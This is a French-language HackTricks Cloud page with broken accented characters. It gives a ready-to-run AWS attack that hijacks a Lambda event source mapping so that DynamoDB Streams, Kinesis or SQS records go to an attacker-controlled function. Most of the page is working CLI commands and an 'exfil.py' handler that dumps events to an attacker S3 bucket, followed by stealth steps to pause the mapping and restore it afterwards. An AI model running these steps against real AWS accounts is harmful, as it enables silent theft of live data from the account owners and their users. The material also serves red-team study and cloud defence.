AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Exploiter UpdateEventSourceMapping pour changer la fonction Lambda cible dâun Event Source Mapping (ESM) existant afin que les enregistrements de DynamoDB Streams, Kinesis ou SQS soient livrĂ©s Ă une fonction contrĂŽlĂ©e par lâattaquant. Cela dĂ©tourne silencieusement des donnĂ©es en temps rĂ©el sans toucher les producteurs ni le code de la fonction originale.
Impact
- Détourner et lire des enregistrements en temps réel depuis des streams/queues existants sans modifier les applications productrices ni le code de la victime.
- Exfiltration potentielle de données ou altération de la logique en traitant le trafic de la victime dans une fonction rogue.
Required permissions
lambda:ListEventSourceMappingslambda:GetEventSourceMappinglambda:UpdateEventSourceMapping- CapacitĂ© Ă dĂ©ployer ou rĂ©fĂ©rencer une Lambda contrĂŽlĂ©e par lâattaquant (
lambda:CreateFunctionou permission dâutiliser une fonction existante).
Steps
- ĂnumĂ©rer les Event Source Mappings pour la fonction victime
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
- PrĂ©parez un Lambda rĂ©cepteur contrĂŽlĂ© par un attacker (mĂȘme rĂ©gion ; idĂ©alement VPC/runtime similaire)
cat > exfil.py <<'PY'
import json, boto3, os, time
def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
- Repointer le mapping vers la fonction attacker
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
- Générer un événement sur la source pour que le mapping se déclenche (exemple : SQS)
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
- Vérifier que la attacker function reçoit le batch
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
- Furtivité optionnelle
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
Remarques :
- Pour les SQS ESMs, le rĂŽle dâexĂ©cution de la Lambda qui traite la file doit disposer de
sqs:ReceiveMessage,sqs:DeleteMessage, etsqs:GetQueueAttributes(politique gĂ©rĂ©e :AWSLambdaSQSQueueExecutionRole). - LâUUID de lâESM reste le mĂȘme ; seul son
FunctionArnest modifié, donc les producteurs et les source ARNs restent inchangés.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

